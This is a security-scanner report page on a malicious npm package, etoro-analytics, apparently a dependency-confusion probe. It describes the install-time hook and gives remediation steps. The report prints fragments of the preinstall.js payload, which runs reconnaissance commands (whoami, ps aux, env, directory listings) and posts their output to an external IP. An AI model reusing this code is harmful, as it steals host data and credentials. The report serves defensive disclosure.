registry / Credential exfiltration / etoro-analytics

etoro-analytics

Internal service client library

This report shows the evidence for etoro-analytics@99.0.2. 3 of 3 known versions are blocked or flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 1mo ago · by lpm-firewall-ai

This is an automatic install-time reconnaissance and data-exfiltration payload with no corresponding package functionality. The lifecycle hook suppresses failures while harvesting and transmitting sensitive host data.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation invokes the preinstall lifecycle hook.

Impact

Disclosure of host identity, system details, process lists, directory listings, network configuration, and environment-held secrets.

Mechanism

Install-time shell reconnaissance and HTTP exfiltration.

Attack narrative

On installation, package.json runs preinstall.js. The script contacts 209.126.81.147 with host and user metadata, executes operating-system reconnaissance commands, then sends the outputs through HTTP POST requests. On non-Windows systems it explicitly posts the full environment, making credential and token exposure plausible.

AI rationale

Evidence

package.jsonpreinstall.js/~

Network endpoints1

209.126.81.147

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The preinstall hook automatically runs preinstall.js during installation.
The script sends host, user, platform, and working-directory data to an external IP address.
It runs system, process, directory, network, and environment-enumeration commands and posts their output.
Environment collection can expose credentials and other sensitive configuration.

Evidence against

No benign runtime functionality is implemented; index.js only exports an empty object.
No evidence of destructive file changes or persistence was found.

Behavioral surface

Source

ChildProcessNetwork

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 2 file(s), 1.36 KB of source

Source & flagged code

5 flagged

package.jsonView file

•scripts.preinstall = node preinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js || true" }

High

Suspicious Lifecycle Evidence

The preinstall hook automatically runs preinstall.js during installation.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

19const req = http.request({ hostname: OOB, port: 80, path: `/${CANARY}/v4/${tag}/${h}`, method: 'POST', headers: { 'Content-Type': 'text/plain', 'Content-Length': d.length } }); req.write(d); req.end(); } catch(e) {} } http.get(`http://${OOB}/${CANARY}/v4/${h}/${u}/${p}/${c}`);

High

Ai Review Evidence

The script sends host, user, platform, and working-directory data to an external IP address.

preinstall.jsView on unpkg · L19

40post('whoami', run('whoami') + run('id')); post('ipconfig', run('hostname -f 2>/dev/null || hostname') + run('ip addr 2>/dev/null || ifconfig 2>/dev/null')); post('dir-root', run('ls -la /')); post('dir-user', run('ls -la ~')); post('tasklist', run('ps aux')); post('env', run('env'));

High

Ai Review Evidence

It runs system, process, directory, network, and environment-enumeration commands and posts their output.

preinstall.jsView on unpkg · L40

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.preinstall = node preinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js || true" }

High

Suspicious Lifecycle Evidence

The preinstall hook automatically runs preinstall.js during installation.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

Findings

4 High2 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepreinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

LowScripts Present

LowNo License

Affected versions and remediation

This report applies to etoro-analytics@99.0.2.

The versions list below shows the verdict for each recorded version.

Avoid installing etoro-analytics@99.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-11 18:45:05.126Z (UTC).

Source advisory published: 2026-09-10 04:44:24.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

99.0.2latestshownMaliciousCredential ExfiltrationBlockPublishedSep 11, 2026, 1:59 PM 99.0.0MaliciousData ExfiltrationBlockPublishedSep 11, 2026, 1:37 PM 999.0.0MaliciousMalwareBlockPublishedSep 10, 2026, 4:02 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other credential exfiltration packages

Source & flagged code

Related packages

Other credential exfiltration packages